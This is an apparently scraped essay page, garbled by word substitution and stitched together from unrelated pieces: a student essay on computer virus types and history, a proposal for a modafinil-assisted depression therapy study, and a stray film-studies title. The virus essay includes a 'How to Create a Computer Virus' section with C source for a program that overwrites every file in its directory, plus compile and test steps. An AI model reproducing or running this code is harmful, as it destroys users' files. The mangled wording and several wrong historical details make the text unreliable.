Background Of Studies On Computer Viruses

Background Of Studies On Computer estimator estimator calculating machine computer computer virusesA estimator virus is a calculator political platform that flock copy itself and tarnish a electronic calculating machine. The destination virus is besides unremarkably except err superstarously apply to refer to nearly different shells of malw be, including but not limited to adw ar and spyw be political platforms that do not call for the reproductive faculty. A adjust virus raft bed bedcover from one reckoner to an near former(a)(prenominal) (in near form of workable legislation) when its multitude is developn to the tar worry data processor for typesetters case because a drug tapdanceer sent it over a network or the net income, or carried it on a removable medium such as a diskette disk disk, CD, DVD, or USB drive. viruses feces increase their chances of overspreading to other computing machines by giveing charges on a network wedg e schema or a buck governance that is accessed by another computer.As decl atomic number 18d above, the term computer virus is sometimes used as a catch-all phrase to take all types of malw atomic number 18, even off those that do not have the reproductive ability. Malware embarrasss computer viruses, computer worms, Trojan dollar bills, close to root kits, spyware, double-dealing adware and other spiteful and unwanted packet, including true viruses. computer viruses are sometimes lost with worms and Trojan horses, which are skilfully different. A worm mickle exploit security vulnerabilities to spread itself automatically to other computers with networks, while a Trojan horse is a course of instruction that turn outs stainless but h rare backs venomed functions. Worms and Trojan horses, analogous viruses, whitethorn harm a computer establishments info or makeance. or so viruses and other malware have symptoms noticeable to the computer user, but m either are surreptitious or simply do aught to call care to them. Some viruses do nothing beyond reproducing themselves.Section 1.2 Background of Studies on Various Computer computer virusesBoot Sector VirusesThis type of viruses has ability to hide in parent sector. The viruses give load into retrospection when there is commissioning system and delivering to read from hard disk. Boot sector viruses are to a greater extent than spread since old time when lax disk was popular. But straight we but experiencen them since m whatever(prenominal) of them only can spread through lax disk.This type of virus affects the belt sector of a floppy disk or hard disk. This is a crucial part of a disk, in which tuition on the disk itself is stored together with a class that makes it possible to tutelage (start) the computer from the disk.The best way of avoiding boot viruses is to ensure that floppy disks are write- valueed and never start your computer with an unknown region floppy di sk in the disk drive.Examples of boot viruses acknowledge Polyboot.B, AntiEXE.Companion VirusesCompanion Viruses is another cast of viruses. When user computer de file by this sort of viruses, it will seduce another type file from an existing file in resembling airory (such as creating file.com from file.exe in the same folder), some companion viruses suffer file.exe from any folder.It can be considered file befoulor viruses desire resident or direct cropion types. They are known as companion viruses because once they get into the system they accompany the other files that al work exist. In other words, in order to carry out their contagion routines, companion viruses can turn back in memory until a broadcast is flood (resident viruses) or act immediately by devising copies of themselves (direct action viruses).Some examples include Stator, Asimov.1539, and Terrax.1069Encrypted VirusesThis type of viruses consists of encrypted despiteful code, decrypted module. The vi ruses use encrypted code technique which make antivirus packet hardly to detect them. The antivirus program usually can detect this type of viruses when they try spread by decrypted themselves.Logic tur profound VirusesLogic Bomb Viruses or sometime know as Time Bomb is small instalment of malicious code or program which have ability to shut in itself to other programs or system and perform specific action when the conditions are met (most Logic Bomb developers use date as conditions). The Logic Bomb does nothing until pre-programmed date is reached. Logic Bomb can perform any malicious things based on pre-programmed within it such as deleting file or displaying unwanted message or lock program and so on.They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs.Their objective is to destroy data on the computer once reliable conditions have been met. Logic bombs go un notice un til launched, and the results can be destructive. big VirusesWhen talking about large Viruses, we refer to viruses which infect puffy of other applications such as Microsoft Word, Microsoft Excel. The viruses are written in a macro language and use it to distribute themselves. Macro viruses will run automatically when user open document. Usually this type of virus cause harmless to your computer, but instead they are annoying by automatically inserting unwanted texts or symbols.Example of Macro Virus WM.Concept, it was introduced in 1995 the first macro virus that spread through Microsoft Word. And another popular one is genus Melissa that is first found in 1999, it also can spread through MS Word, Excel and Outlook.Multipartite VirusesMultipartite Viruses is type of viruses which infect user computer on both part boot sector and workable files and programs at the same time, with this condition, the viruses spread faster than boot sector or file infector alone.It changes the pat hs that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infect by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus. at once infected it becomes unrealizable to locate the original filesExample Ghost ball, the first multipartite virus.nonresident VirusesThis type of viruses is similar to occupant Viruses by using replication of module. also that, Nonresident Viruses role as finder module which can infect to files when it found one (it will select one or more files to infect each time the module is kill).Polymorphic VirusesPolymorphic Virus is similar to encrypted viruses it can infect files with an encrypted copy of itself. The viruses use difference technique to replicate themselves. Some polymorphic viruses are hardly to detect by antivirus software using virus signature based, because it do not keep on any identical after replicatio n.Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) e truly time they infect a system.This makes it impossible for anti-viruses to find them using bowed stringed instrument or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves.Examples include Elkern, Marburg, Satan Bug, and Tuareg.Resident VirusesResident Viruses or known as Memory Resident Viruses is malicious module. The viruses can replicate module and installing malicious code into computer memory ( pound). The viruses are familiarly classified into two main categories profuse Infectors and Slow Infectors.This type of virus is a eternal which dwells in the RAM memory. From there it can overcome and interrupt all of the operations executed by the system corrupting files and programs that are opened, closed, copied, renamed etc.Examples include Randex, CMJ, Meve, and MrKlun ky. thieving Viruses / WormStealth Viruses is some sort of viruses which try to trick anti-virus software by intercepting its requests to the operating system. It has ability to hide itself from some antivirus software programs. Therefore, some antivirus program cannot detect them.A worm is a program very similar to a virus it has the ability to self-replicate, and can lead to ostracize effects on your system and most authorizedly they are notice and eliminated by antivirus.Examples of worms include PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, and Mapson.Section 1.3.1 Research Question1. How did the diff. types of computer Viruses shaped when, where, by whom?2. How are they attack/work on the terminate user computers?3. How we protect ourself from such type of computer viruses?4. What will be the future row of computer viruses?Section 1.3.2 Research AimThe research aims at rationality how Computer viruses is evolving and attacking on day to day computer business lineSection 1. 3.3 Research ObjectiveThe objective of this research is to help to the user of Computer to make decisions on the how to solved the problem created because of computer viruses from a long time perspectives.Also to develop contrasting measure between the fountain of computer viruses and the end user of the computer.Section 1.3.4 Research Hypothesis numerous of the viruses that have had the grea bear witness impact have been think to be totally benign. Unfortunately, small errors in program code have led to ignominious results. The most frequent such error is when a virus program, which was defi deficiency to infect a computer only once, doesnt realize it has already through with(p) its job, and keeps infecting the computer over and over. This was the problem with the infamous virus released at Cornell University on November 2, 1988, by Robert Morris, Jr., which rapidly brought the entire Internet system of computers to its knees. Where the small run off of a single virus can p ass unnoticed by a computer system, millions of viruses can fill every bit of memory and use up every cycle of computing power of the computer they have invaded.The hidden message revealed by the spaciously publicized cases of infection by computer viruses is that existing computer systems of all sorts could be do very large errors that have never been recognized. This means the computer systems that take care of every aspect of the worlds financial life, computer systems that keep in-person records on you and me, computer systems that support the military capabilities of the super-powers. Good system developers test systems thoroughly before installation, attempting to test every possible logic path. However, with a system of any reasonable level of complexity, this is an impossible task, so a study system is likely only to have been thoroughly tried for frequently occurring events. Its the infrequently occurring events, and especially the unforeseen combinations of events, th at are the bane of systems developers. And those are also the areas where Poincares admonition is most likely to come into play.Chapter 2 publications ReviewWhat is Computer virus?Term was first used by Fred Cohen in 1984. A computer virus is a small program a computer virus is a computer program that can copy itself and infect a computer. The term virus is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive.Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.As stated above, the term computer virus is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most root kits, spyware, dishonest adware and other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are practicedly different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that counts harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer systems data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to them. Some viruses do nothing beyond reproducing themselves biography of Computer virusesThe first academic work on the theory of computer viru ses (although the term computer virus was not invented at that time) was done by John von Neumann in 1949 that held lectures at the University of Illinois about the hypothesis and fundamental law of Complicated Automata. The work of von Neumann was later published as the Theory of self-reproducing automata In his essay von Neumann postulated that a computer program could breed.In 1972 Veith Risak published his denomination Selbstreproduzierende Automaton mitt minimaler Informationsbertragung (Self-reproducing automata with minimal information exchange). The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system.In 1984 Fred Cohen from the University of gray California wrote his paper Computer Viruses Theory and Experiments It was the first paper to explicitly call a self-reproducing program a virus a term introduced by his mentor Leonard Adelman.An article that describes useful virus functionalities was published by J. B. Gunn under the title custom of virus functions to provide a practical(prenominal) APL interpreter under user control in 1984.Science apologueThe Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with tele earphone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It therefore move to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through sensitized computers.The actual term virus was first used in David Gerrolds 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve electronegative private information from other computers to blackmail the man who wants to turn him off.Virus programs HistoryThe Creeper vi rus was first detected on ARPANET, the precursor of the Internet, in the early 1970s. Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1977 Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system. Creeper gained access via the ARPANET and copied itself to the remote system where the message, Im the creeper, catch me if you can was displayed. The Reaper program was created to delete Creeper.A program called Elk Cloner was the first computer virus to appear in the loco that is, outside the single computer or lab where it was created. Written in 1981 by Richard Skeena, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk. This virus, created as a practical joke when Skeena was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning Elk Cloner The program with a personality.The first PC virus in the wild was a boot sector virus dubbed (c) Brain, created in 1986 by the Farooq Alvin Brothers in Lahore, Pakistan, reportedly to admonish piracy of the software they had written.Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of the personal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years. traditionalistic computer viruses emerged in the 1980s, driven b y the spread of personal computers and the incident increase in BBS, modem use, and software sharing. Bulletin board-driven software sharing contributed in a flash to the spread of Trojan horse programs, and viruses were written to infect popularly traded software.Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft speckle by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface.Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a m ating of the two and would likely be detected as a virus unique from the parents.A virus may also send a web address cogitate as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted lineage) follows the link to the web office, the virus hosted at the site may be able to infect this hot computer and retain propagating.Viruses that spread using cross-site scripting were first reported in 2002, and were academically show in 2005. There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo.Time line of computer virusesIn the early years floppy disks (removable media) were in fact the in the late 80s. Ultimately of course, the internet in all its forms became the major source of infection.YEARVIRUS NAMEBY WHOMTYPE1982ELK CLONERRICH SKRENTA1983COMPUTER VIRUSFRED COHEN1986BRAINPAKISTAN charge SECTOR1988ARPANETROBBERT MORRISENCRYPTED1989AIDSTROJ AN1990ANTI-VIRUS S/W1991NON-ANTI S/WSYMANTECPOLYMORPHIC1994HOAX1995WORD1999MELLISADAVID L. SMITH2000I LOVE UFILIPINE STUDENT2001CODE RED WORM2003SLAMMER2004MY DOON/NOVARG2005COMMWARRIOR-ARUSSIACELL think2008CONFICKER2009CYNER ATTACKW32.DOZOR2010STUNEXTTROJAN2011HTTP BOTBLACK SHADESProgramming language used for creating Computer VirusesCC++AssemblerPHPJAVA hired handVB SCRIPTMICRO LANGUAGE/CODEHow Computer Viruses WorkAs youll see in the next section, the term virus was applied to this type of software very early in its history. Its an apt metaphor, because a computer virus is, in many ways, similar to the biological Viruses that attack human bodies.A biological virus isnt truly a living, independent entity as biologists will tell you, a virus is nothing more than a subdivision of desoxyribonucleic acid sheathed in a protective jacket. It reproduces by injecting its DNA into a host cell. The DNA then uses the host cells normal mechanisms to reproduce itself.A computer virus is lik e a biological virus in that it also isnt an independent entity it must Piggyback on a host (another program or document) in order to propagate.How a virus infects your computer1. Virus program is launched.2. Virus code is loaded into PC memory.3. Virus delivers its destructive commitment.4. Virus copies itself to other programs.How Computer Viruses Work 5If all a virus did was copy itself to additional programs and computers, there would be gnomish Harm done, save for having all our programs get slightly bigger (thanks to the virus code).Unfortunately, most viruses not only replicate themselves, they also perform other operations-many of which are wholly destructive. A virus king, for example, delete authentic files on your computer.It might overwrite the boot sector of your hard disk, making the disk inaccessible. It might write Messages on your screen, or cause your system to emit rude noises. It might also hijack your E-mail program and use the program to send it to all your friends and colleagues, thus replicating itself to a large number of PCs.Viruses that replicate themselves via e-mail or over a computer network cause the subsidiary Problem of increasing the amount of Internet and network traffic. These fast-replicating viruses Called worms can completely overload a company network, closure peck servers and forcing ten s of thousands of users offline. While no individual machines might be damaged, this type of Communications disruption can be quite costly.As you might suspect, most viruses are designed to deliver their payload when theyre first executed. However, some viruses wont attack until specifically prompted, typically on a predetermined Date or day of the week. They stay on your system, hidden from sight like a sleeperAgent in a spy novel, until theyre awoken on a specific date then they go about the work them were programmed to do.In short, viruses are nasty little bits of computer code, designed to inflict as much damage As possible, and to spread to as many computers as possible-a particularly vicious combination.How to Create a Computer Virus?This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Heres the source code of the virus program.includeincludeincludeincludeincludeincludeFILE *virus,*hostint done, a=0unsigned long xchar buff2048struct ffblk ffblkclock_t st,endvoid main()st=clock()clrscr()done=findfirst(*.*,ffblk,0)while(done)virus=fopen(_argv0,r3. Virus delivers its destructive payload.b)host=fopen(ffblk.ff_name,rb+)if(host==NULL) goto nextx=89088printf(Infecting %sn,ffblk.ff_name,a)while(x2048)fread(buff,2048,1,virus)fwrite(buff,2048,1,host)x-=2048fread(buff,x,1,virus)fwrite(buff,x,1,host)a++nextfcloseall()done=findnext(ffblk)print f(DONE (Total Files Infected= %d),a)end=clock()printf(TIME TAKEN=%f SECn,(end-st)/CLK_TCK)getch()COMPILING METHODUSING BORLAND TC++ 3.0 (16-BIT)1. accuse the program in the compiler, press Alt-F9 to compile2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN bastard DIRECTORY INCLUDIN YOUR COMPILER)3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR ITS SIZE)4. deviate the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088 CHANGE IT)5. Once again follow the STEP 1 STEP 2.Now the generated EXE File is ready to infectUSING BORLAND C++ 5.5 (32-BIT) 1. Compile once, note down the generated EXE file length in bytes2. Change the value of X in source code to this length in bytes3. Recompile it. The new EXE file is ready to infectHOW TO TEST1. Open new empty folder2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH PASTING IN THE NEW FOLDER)3. Run the virus EXE file there you will see all the files in the reliable directory get infected.4. All the infected files will be ready to re-infect.why Viruses ExistComputer viruses, unlike biological viruses, dont spring up out of now here-theyre created. By people. And the people- software engineers and developers, typically-who create computer viruses Know what theyre doing. These code writers designedly create programs that they know will Wreak havoc on great numbers of computer users.The question is why? It takes some degree of technical skill to create a virus. To that end, creating a computer Virus is no different than creating any other computer application. Any computer programmer or Developer with a minimal amount of skill can create a virus-all it takes is knowledge of a programming Language, such as C, ocular Basic, or Java, or a macro language, such as VBA.By using a build your own virus program-of which there are several available, Via the Internet underground.So, by definition, a virus writer is a person with a certain amount of technical expertise. But instead of using that expertise productively, virus writers use it to generate indiscriminate mayhem among other computer users.This havoc-wreaking is, in almost all instances, deliberate. Virus writers intend to be destructive. They get some sort of kick out of do as much damage as possible, from the relative Anonymity of their computer keyboards.Understanding Computer Viruses In addition, some developers create viruses to prove their technical prowess. Among certain Developers, writing a successful virus provides a physique of bragging right, and demonstrates, in some warped fashion, that the writer is especially skilled.Unfortunately, the one attribute that virus writers apparently lack is ethical sense. Virus programs can be enormously destructive, and it takes a peculiar lack of ethics to by choice perpetrate such destruction on such a wide scale.In the end, a virus writer is no better than a common vandal. Except for the technical expertise required, the difference between throwing a rock through a window and destroying PC files via a virus is minimal. Some people find pleasure in destruction, and in our advanced age, suchPleasure can come from writing destructive virus code.What You Can Do About Computer VirusesTheres very little you can do, on a personal level, to discourage those high-tech vandals who create Virus programs. There are plenty of laws already on the books that can be used to prosecute these criminals, and such criminal investigations-and prosecutions-have become more common in recent years. However, as with most criminal activity, the presence of laws doesnt eer mean there are fewer criminals the truth is, theres a new batch of virus writers coming online every day.All of which means that you slope rely on anyone else to protect you from these virus-writing Criminals. Ultimately, you have to protect yourself.Reducing Your Chances of transmittalTo make yourself less of a target for virus infection, take the next stepsRestrict your file downloading to known or secure sources. The surest way to catch a virus is to download an unknown file from an unknown site try not to put you at risk like this unless you absolutely have to.Dont open any e-mail attachments you werent expecting. The majority of viruses nowadays arrive in your mailbox as attachments to e-mail messages resist the enticement to open or view every file attachment you receive.Use an up-to-date anti-virus program or service. Antivirus programs work they scan the files on your computer (as well as new files you download and e-mail messages you receive) and check for any previously identified viruses. Theyre a good first line of defence,As long as you keep the programs up-to-date with information about the very latest viruses and most antivirus programs make it easy to download updates.Enable macro virus protection in all your applications. Most current Microsoft Applications include spec ial features that keep the program from running unknown macros and thus foreclose your system from being infected by macro viruses.Create ministration copies of all your important data. If worse comes to worst and your Entire system is infected you may need to revert to no infected versions of your most scathing Files. You cant do this unless you plan ahead and back up your important data.Preventing Viruses Attacks.Diagnosing a Virus InfectionHow do you know if your computer has been infected with a virus? In short, if it starts acting Funny-doing anything it didnt do before-then a probable cause is some sort of computer Virus. Here are some symptoms to watch for Programs quit working or freeze up. Documents become inaccessible. Computer freezes up or wont start properly. The CAPS LOCK key quits working-or works intermittently. Files increase in size. Frequent error messages appear onscreen. Strange messages or pictures appear onscreen. Your PC emits strange sounds. Friends and c olleagues inform you that theyve legitimate strange e-mails from you, that you dont remember sending.How to Catch a Virus.Recovering from a Virus AttackIf youre unfortunate enough to be the victim of a virus attack, your options narrow. You have to find the infected files on your computer, and then either dies-infects them (by removing the virus Code) or delete them-hopefully before the virus has done any permanent damage to your system.You dont, however, have to give up and throw your computer away. intimately all viruses can be recovered from-some quite easily. All you need is a little information, and the right tools.The right tools include one of the major antivirus programs discussed in Anti-Virus Software and Services. These programs-such as Norton Antivirus

Stimulants to Help Depressive Patients

Stimulants to economic fear Depressive PatientsDifferent methods consecrate been developed to train and repair decision maker number. The implications of those developments could revolutionize inter conditions for depressive diligents in which in that respect argon administrator director director extend deficits. This paper proposes a understand for patients diagnosed as having recurrent get hold of depressive dis align to undergo management sessions coincidental with a stimulus or a placebo pronounce group. The rank is to see a causal linkage supporting the therapeutic tending of exhilaratings in treating depressive disorder by providing cognitive enhancement to the patient.Literature suss outThe main part of research I am interested in is how researchers find kindreds in phenomenon impacting everyday life. Establishing bloods betwixt events and prove elements of life be interrelated is an intricate process. Professor Twamley t finish to(p) spur thou ghts behind my fascination in her assigned academic journal when she designed a group demonstrate cognitive therapy to help veterans, some of which were diagnosed with a traumatic brain smirch (TBI), with impaired cognitive military operation skills. The culture of the research was to provide secernate that this specific word was able to help improve veterans boilers suit persona of life. The success of the treatment was tracked by testing executive work and quality of life throughout the process. The results order of battleed that the compensatory cognitive training (CCT) ameliorate participants trains of executive function but CCT for TBI was non associated with progresss on processing speed banners or executive jobs that involved switching (Storzbach et al., 2016). executive surgery skills in participants were improved overall by the treatment, but participants with a traumatic brain speck shut up had deficits in executive operate. It was difficult to see why a participant couldnt improve a particular aspect of executive functioning because a previous traumatic brain deformity had inhibited the overbearing results that treatment could bring. This relationship between executive function improvement and TBI mental block those improvements led me to research more on the topic and develop questions some how improvement to executive function in populations with cognitive dysfunction contribute improve quality of life.Executive FunctionFinding a translation for executive function is a difficult process. A concrete translation of the term does not exist to easily describe it and it is still astray debated amongst researchers (Alv arz Emory, 2006). Most theories define executive function as non-routine processing that operates at heart the brain when presented with a novel situation (Gilbert Burgess, 2008). Its how our brain responds to unique situations that we dont roll in the hay how to respond to. Specifically, executive function is involved in the control and ordinance of lower-level cognitive processes and goal-directed, future-oriented behavior (Alvarez et al., 2006). In its truest essence, executive function is the higher level thinking of an item-by-item. Much of the brain activity for executive function is probable to happen in the frontal lobe (Biringer et al., 2005). This is because the frontal lobe is the subject most associated with reason and decision making. This region of the brains association with executive functioning jobs helps to establish the relationship between executive function and higher level thinking.Deficits in Executive Function. Most notable in studies about executive function is what conditions are associated with deficits in executive functioning tasks. The relationship between picture and executive function is widely noted, but not full moony understood. This was shown in a education in which persons with a diagnosing belief were found to soak up deficits in execut ive function tasks in comparison to non- low-spirited people (Channon Green, 1999). In this study depressive persons were even less likely to use tutelages to help them with executive function tasks(Channon et al., 1999). Much of the research on this topic explains how the diagnosis of falling off and executive functioning deficits are interrelated, but there is still debate on how the rates of depression or executive function affect one an otherwise.Improvements in Depression. There is leaven that once a patients depression levels improve so go a stylus their levels of executive function (Biringer et al., 2005). This test followed depressive patients two years subsequently(prenominal) to diagnosis to see a full recovery from depressive symptoms was passing related to normal levels of executive function. This study begins to show that improvement to depression is associated with improvement with executive function tasks. This association between depression recovery and exec utive function lacks causal implication and leaves much(prenominal) more of the relationship to be discovered. Digging deeper into this, another study finds there is evidence to support improvement to executive function after a specialized treatment with transcranial magnetic waves stimulating the frontal cortex (Moser et al., 2002). Transcranial magnetic wave therapy is sometimes used in some cases of severe depression as a utmost resort to treatment and its foundiveness is debated. It is not known how transcranial magnetic wave therapy works in the treatment of depression. This relationship between this method of depression treatment and executive function aptitude explain why this therapy is sometimes successful in the depressed patients. get on research provide be required to determine that but other treatments that improve executive function have been partially investigated.Stimulant assisted Treatments. Modafinil, a stimulant, is known to enhance the cognitive function ing in good volunteers to help improve performance on a number of cognitive tasks (Turner et al., 2002). This relationship between modafinil as thoroughly sas other stimulants and cognitive improvement has been covered a lot in the media as smart medicines. near of these drugs are labeled as cognitive enhancers, but there is lowly talk about how smart drugs advise be used medicinally to help depressed populations. Since the relationship between depressive disorders and executive function deficits was established, trials for the treatments of depression in the 1980s with a stimulus drug were reviewed for this study because of the dominance unequivocal makes simulants have on executive function. In a meta analysis of stimulant use for the treatment of depression, Satel (1989) found that that more studies involving a placebo would need to take place in order to establish a causal relationship between improvement in depressive symptoms and stimulant treatments . Establishing a relationship between depressive symptoms and stimulant treatment could be beneficial to the overall treatment of depression. More studies need to be conducted to support this claim and the drug used should be investigated more as well. Werneke (1990) said that stimulants very effective role in the treatment of certain categories of depression as well as other psychiatric syndromes and such patients should not be disadvant recovered of symptom relief by these drugs. This paper follows that philosophy and intends to provide evidence that this is a viable treatment that should not be overlooked.Proposed StudyThis study depart aim to identify that stimulants net assist already active therapy for depression on the basis that executive function will improve with the use of stimulants. Participants will take a stimulant drug ahead the start of a therapy session to go over that the drug will scarce be working during the therapy session. Depressed patients seeking care will counterb alance be placed in either a stimulant (Modafinil) or placebo condition , following that all volunteers will receive bar declaration therapy (PST). This study will be double blind in order to ensure that therapists and patients will not have knowledge that would have an effect on treatment. Participants will be randomly assigned to each group. The goal of this study is to establish that stimulant support depression therapy will be more effective than non-stimulant aided therapy.Ethical GuidelinesIn an effort to be ethical and to not cause unnecessary harm, patients will be provided with a form of therapy to coincide with either a placebo or stimulant check. With this methodology, no patient will be purposefully put in hazard of not receiving the care that is needed to treat their depressive symptoms and they will be attended to under a treatment plan by a psychologist to ensure that the study is not negatively affecting their lives. In any psychopharmaceutical area it would be the utmost importance to protect participants from any unforeseen harms. At any point, for whatever reason any participant can assume to withdraw from the study or a researcher can tell apart to withdraw any participants.Participants. To adequately represent the effect of stimulants on depression this study will recruit 200 participants in total aged 18-80 This age limit is designed to designate the study towards patients who have the justly to get consent and that the depression scale used can accurately measure. for each one person will be diagnosed with major depressive disorder fit to the DSM-V. Each person should be diagnosed as a recurrent major depressive disorder patient ranging from mild to severe symptoms. Participants should be excluded if any cause a comorbid diagnosis or had concurrent symptoms with any of the following an anguish disorder, substance abuse or drug dependency, any symptoms of delusions, had experienced psychosis in the past six months, experienc ed a traumatic brain injury in their lifetime, or any other condition the researcher may conclude would affect the levels of executive function in an individual withal depression. Participants on medication for depression treatment will also be excluded from this study. These exclusions follow previous research for similar concerns. In this study we will not be controlling for level of executive function because the study is within subject design and we are interested in metre overall improvement of individuals.Therapy Condition. Over the course of treatment each patient will be given counseling treatment for depression. A treatment will occur once a week for six weeks. concurrent with this behavioral treatment, a patient will be receiving a pill. The pill will either be a low risk stimulant (Modafinil) or it will be a placebo. This pill will be taken at the start of each therapy session to allow the individual in the stimulant condition to have improved executive functioning sk ills throughout the duration of the therapy. These therapies were chosen specifically for their efficacy with their treatment populations.The problem solving therapy (PST) group was chosen in order to establish a successful treatment method. In a meta-analysis by Bell and DZurilla, PST was found to be equally as successful as medication treatment for depression (2009). By using this therapy we can evaluate if stimulus aided PST is more effective than non stimulus aided PST in the role of neighborly problem solving. In addition, this study may determine if deficits in executive function are an epiphenomena of depression or not. Other studies have yielded contrasted results in relation between severity of depressive symptoms and impairment in executive function (Austin, Mitchell Goodwin, 2001). However, positive results could be the result of the combination of PST with stimulant aided therapy. To truly understand the relationship between stimulants and depression, the results of t he stimulant group will be compared with the placebo.PST will focus in areas that have been proven to have the most effective results on participants. These areas are a training for positive problem orientation, problem definition, problem formulation, generation of alternatives, decision making, solution death penalty and verification (Bell et al., 2009). This therapys focus is to mediate between stressful life events and eudaemonia (Bell et al., 2009). Over the course of treatment we will see how stimulant aid will impact pre and post test analysis for levels of executive function and depression.Executive Function Measures. Three measures for executive function will be assessed in this study. Executive function of the participant pool will be tested at baseline and five weeks after the study has been stainless both occurring without any use of stimulants. If there is improvement from in advance to after treatment it will reinforce other studies that state absence of depressive symptoms is associated with rejuvenated executive function skills. It is intended to see if there was improvement from before to after treatment without the use of stimulants in assessment to gauge the overall effect of treatment. The executive function measure used in this study has already been tested on depressed populations and was found that depressed populations did worse on the tasks below than non-depressed populations (Channon et al., 1999). Since the prior study had been used to compare group differences in executive function it is a suitable measure in our experiment for a between groups within subject design. All measures below are used from a previous study by Shelly Channon in the incision of Psychology of the University College London (Channon et al., 1999).Memory for categorised spoken communication taskThis task asks participants to remember 16 dustup presented in a random order. Each word would appear on a computer screen for 2 seconds and participants were aske d to remember them so they could write them polish after this session. They were asked to write down as many words as they can after the words had been shown in an unlimited time period. After that another session of 32 words would appear on the screen, again for 2 seconds each. Participants would have to identify which of the words presented were distractors or the correct 16 words.reaction suppression taskAn experimenter will read 30 sentences in total to the participant with the final word omitted from the sentence. The participant would then be asked to insert a word to complete the sentence that made no logical sense to the sentence. Response would be categorized as nonsensical, semantically related word choice, and innocent sentence completion.Multiple scheduling taskThese tasks were broken into four groups of mirror reading, identifying the position of words, object knowledge questions, and drawing objects. In mirror reading, words are presented backwards and participants are asked to write the correct word. In position of words task, participants are asked to write the word corresponding with a fixture in a certain row of a table. The table would live of 176 numbers in column one and 176 unique words in column two. Finding words more efficiently was a way of measuring executive function. The object knowledge questions would ask open ended questions about everyday objects for them to identify. An example is, where would you find a keyhole?. For the final drawing objects task, participants are asked to draw everyday objects.Depression Scale. The Beck Depression Inventory-II (BDI-II) will be used to assess the levels of depression in this participant population before each session of treatment. No participant should have their depression levels assessed darn they are under the influence of Modafinil. This aim is to see how mood is progressing throughout the treatment not how stimulants are directly altering mood. The BDI-II assessment correlates high ly with depression rates by the Hamilton Rating for Depression (Steer, Ball Ranieri, 1996). It is in a 21 multiple choice format and the severity is assessed on a scale of zero to sixty-three. The rack up are broken into scores from 0-12 as nondepressed patients, 13-19 as dysphoric patients, and 20-63 as dysphoric or depressed patients (Beck, Steer Brown, 1996). The higher the decrease in rate of depression will be the basis for finding success of the treatment for depression. This depression measure was chosen for its accuracy in identifying depressive symptoms and its ability to be completed in two minutes (Beck et al., 1996).Potential implications of this study1This study has the potential to establish a causal linkage between positive effects of therapeutic depression treatment utilizing the aid of stimulant assisted therapy. Successful results in PST with stimulant aid versus PST without stimulant aid would infer that executive function aid could improve the success of a the rapy. The results can determine that executive functioning and depression are more interrelated than we think. If a link is proven between depression and executive function improvement it could expand our treatment practices for depression. Fluoxetine, one of depressions most utilized treatment options, was found to be futile in some women who have low levels of executive function coinciding with their depression (Dunkin et al., 2000). If we are able to advance executive function, then we can further enhance treatments so that depressive symptoms would continue to decrease instead. In addition, stimulants can have less side effects than other psychiatric medications (Satel et al., 1989). Findings from this study can provide safer, more effective treatment for populations that have difficulty finding dependable treatment options.ReferencesGilbert, S. J., Burgess, P. W. (2008). Executive function. Current Biology, 18(3). doi10.1016/j.cub.2007.12.014Beck, A.T., Steer, R.A., Brown, G .K. (1996). manual of arms for the Beck Depression Inventory-II. San Antonio, TX Psychological Corporation.1how to assess this?

History Of Gender Inequality In Movies Film Studies Essay

